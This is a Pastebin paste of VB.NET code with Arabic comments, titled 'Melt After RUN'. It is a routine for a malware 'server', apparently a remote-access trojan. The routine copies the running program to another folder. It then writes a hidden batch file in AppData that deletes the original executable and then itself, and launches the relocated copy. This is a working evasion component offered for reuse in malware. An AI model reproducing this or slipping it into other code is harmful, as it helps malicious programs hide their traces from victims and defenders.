Advertisement
gaiththewolf

Melt After RUN

Apr 29th, 2014
501
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 1.47 KB | None | 0 0
  1. ' هو المسار المراد إنزال السيرفر به MeltDir
  2.     Public Sub Melt(ByVal MeltDir As String)
  3.         Dim AppName As String = GetName(Application.ExecutablePath)
  4.         Try
  5.             If Application.ExecutablePath = MeltDir & "\" & AppName Then
  6.                 'لا يقوم بأي شيئ لأن السيرفر في المسار المحقون
  7.                 Exit Sub
  8.             Else
  9.                 IO.File.Copy(Application.ExecutablePath, MeltDir & "\" & AppName, True) 'نسخ السيرفر للمسار المحدد
  10.                 Dim Obj As New System.IO.StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Melt.bat")
  11.                 Obj.WriteLine("DEL """ + Application.ExecutablePath & """")
  12.                 Obj.WriteLine("DEL ""%~f0""")
  13.                 Obj.Close()
  14.                 Application.Exit()
  15.                 Process.Start(MeltDir & "\" & AppName) : Shell(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Melt.bat", AppWinStyle.Hide)
  16.             End If
  17.         Catch ex As Exception
  18.             MsgBox(ex.ToString, MsgBoxStyle.Critical, "Melt")
  19.         End Try
  20.     End Sub
  21.  
  22.     Public Function GetName(ByVal str As String) As String
  23.         Dim S1 As String = ""
  24.         For i = 1 To Split(str, "\").Length - 1
  25.             If i = (Split(str, "\").Length - 1) Then
  26.                 S1 = Split(str, "\")(i)
  27.             End If
  28.         Next
  29.         Return S1
  30.     End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement